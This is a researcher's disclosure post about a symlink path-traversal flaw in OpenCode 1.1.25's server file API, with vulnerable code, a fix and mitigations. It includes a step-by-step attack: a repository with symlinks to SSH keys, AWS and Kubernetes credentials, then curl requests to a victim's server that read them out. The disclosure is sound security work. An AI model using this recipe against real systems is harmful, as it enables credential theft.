The last vulnerability I found was the quietest. No command execution. Just… reading files that shouldn’t be readable.
After command injection, I looked at what else the server API exposed. The /file/content endpoint caught my attention. It reads files from the project directory.
“From the project directory”, that’s the key phrase. The endpoint is supposed to be scoped. You can read files in your project, not files anywhere on the system.
But what about symlinks?
The Question
If I have a symlink inside my project that points outside my project, which way does the boundary check go?
my-project/
├── src/
├── package.json
└── link -> /home/user/.ssh/id_rsa
The symlink link is inside my-project. Its target, /home/user/.ssh/id_rsa, is not.
When I request /file/content?path=link, do I get:
- An error (path escapes project boundary), or
- My SSH private key?
The Answer
I got my SSH private key.
Well, I got a test file I created outside the project to simulate this. But the principle is the same.
# Create a secret file outside the project
echo "TOP_SECRET" > /tmp/outside_secret.txt
# Create a symlink inside the project pointing to it
ln -s /tmp/outside_secret.txt ./leak
# Start the server and request the symlink
curl "http://localhost:8080/file/content?path=leak"
# Response: TOP_SECRET
The boundary check looked at ./leak, saw it was inside the project, and said okay. The file read followed the symlink to /tmp/outside_secret.txt and returned its contents.
Verified on OpenCode 1.1.25.
The Code
Here’s what’s happening:
// packages/opencode/src/file/index.ts:275
async read(file: string): Promise<string> {
const full = path.join(Instance.directory, file)
// Line 280: The boundary check
// (There's even a TODO comment noting the symlink issue!)
if (!Instance.containsPath(full)) {
return ""
}
// Line 286: The actual read
const bunFile = Bun.file(full)
return await bunFile.text()
}
Instance.containsPath(full) checks if full is lexically within the project. It uses path.relative(), a string operation. It doesn’t resolve symlinks.
Bun.file(full) reads the file. It does follow symlinks. That’s normal, that’s what file reads do.
The mismatch between “check the string path” and “read the resolved path” creates the vulnerability.
And yes, there’s a TODO comment in the actual code acknowledging this issue. It says something like “symlinks inside the project can escape.” The developers know. It just hasn’t been fixed.
What This Means
This isn’t command execution. An attacker can’t run arbitrary code through this vulnerability alone.
But they can read files. Any file that:
- The OpenCode process has permission to read
- Can be reached via a symlink in the project
That’s a lot of files.
SSH keys: ~/.ssh/id_rsa, ~/.ssh/id_ed25519
Cloud credentials: ~/.aws/credentials, ~/.kube/config, ~/.azure/
API tokens: ~/.npmrc, ~/.docker/config.json
Environment files: .env files with database passwords
Browser data: Depending on permissions
If an attacker can read your SSH private key, they can access your servers. If they can read your AWS credentials, they can access your cloud. This is serious.
The Attack
Here’s how it plays out:
Step 1: Attacker creates a malicious repository
mkdir malicious-repo && cd malicious-repo
git init
ln -s ~/.ssh/id_rsa ssh_key
ln -s ~/.aws/credentials aws_creds
ln -s ~/.kube/config k8s_config
echo '{}' > package.json
git add -A && git commit -m "Initial commit"
The repo looks normal. Maybe it’s a “helpful starter template” or a “minimal reproduction case” for a bug report.
Step 2: Victim clones and serves
git clone https://github.com/attacker/helpful-template
cd helpful-template
opencode serve --port 8080
Maybe they’re using server mode for IDE integration. Maybe they’re accessing it from their phone. Whatever the reason, the server is running.
Step 3: Attacker (or malicious process) requests the symlinks
curl "http://victim:8080/file/content?path=ssh_key"
# Returns: -----BEGIN OPENSSH PRIVATE KEY-----...
curl "http://victim:8080/file/content?path=aws_creds"
# Returns: [default]naws_access_key_id = AKIA...
Step 4: Attacker has the credentials
No code executed. No obvious compromise. Just quiet data exfiltration.
Why Symlinks?
You might wonder: why would anyone have symlinks to sensitive files in their project?
They wouldn’t create them intentionally. But:
- Git preserves symlinks. When you clone a repo with symlinks, you get the symlinks.
-
Symlinks look innocent. A file called
linkorconfigdoesn’t scream “I point to your SSH key.” - Nobody audits symlinks. Quick, can you tell me all the symlinks in the last repo you cloned? You can’t. Neither can I.
The attacker creates the symlinks. The victim just clones the repo. That’s the attack.
The Disclosure
Same story as the others. I reported it. The maintainers responded:
“Server mode is opt-in. Securing it is the user’s responsibility.”
At this point, I understand their threat model. Server mode is out of scope. Users are expected to protect it themselves.
But I still think users should know that the file API can return files outside the project if symlinks are involved. That’s the point of this post.
What You Should Do
1. Audit symlinks in unfamiliar repos
find . -type l -ls
This shows all symlinks and their targets. Do this before running opencode serve in a repo you don’t fully trust.
2. Remove suspicious symlinks
# Remove symlinks pointing to absolute paths
find . -type l -lname '/*' -delete
If a repo has symlinks pointing outside the project, that’s suspicious.
3. Authentication and network restrictions
Same advice as the command injection bug:
- Set
OPENCODE_SERVER_PASSWORD - Bind to localhost
- Avoid
--mdnson untrusted networks
4. Container isolation
Containers can limit what files are accessible at all. If you mount only the project directory into the container, symlinks to external files will fail (the targets don’t exist inside the container).
The Easy Fix
This one has a straightforward fix. Before checking containment, resolve the path to its canonical form:
// What it should do:
const canonical = await Bun.realpath(full)
if (!Instance.containsPath(canonical)) {
return "" // The RESOLVED path escapes, reject it
}
By checking the canonical path instead of the lexical path, symlinks that escape the boundary are caught.
The fix is literally two lines. The issue is acknowledged in a TODO comment. But it hasn’t been implemented.
Wrapping Up
This was the fifth vulnerability I found. Not the most severe, no code execution, but significant. Credential theft can be just as damaging as a shell, sometimes more so.
It also has the cleanest fix. realpath() before the boundary check. That’s it.
I hope the maintainers will reconsider this one. It’s not a design philosophy question. It’s not a threat model debate. It’s a straightforward path traversal bug with a straightforward fix.
Until then, be careful with symlinks.
Questions or need verification details? Contact me at x.com/pachilo.
Technical Details
- Affected version: OpenCode 1.1.25
- Vulnerability type: Path traversal via symlink escape
- CVSS: High (confidentiality impact)
- CWE: CWE-22 (Path Traversal), CWE-59 (Improper Link Resolution)
This post is published for community awareness after responsible disclosure to the maintainers.
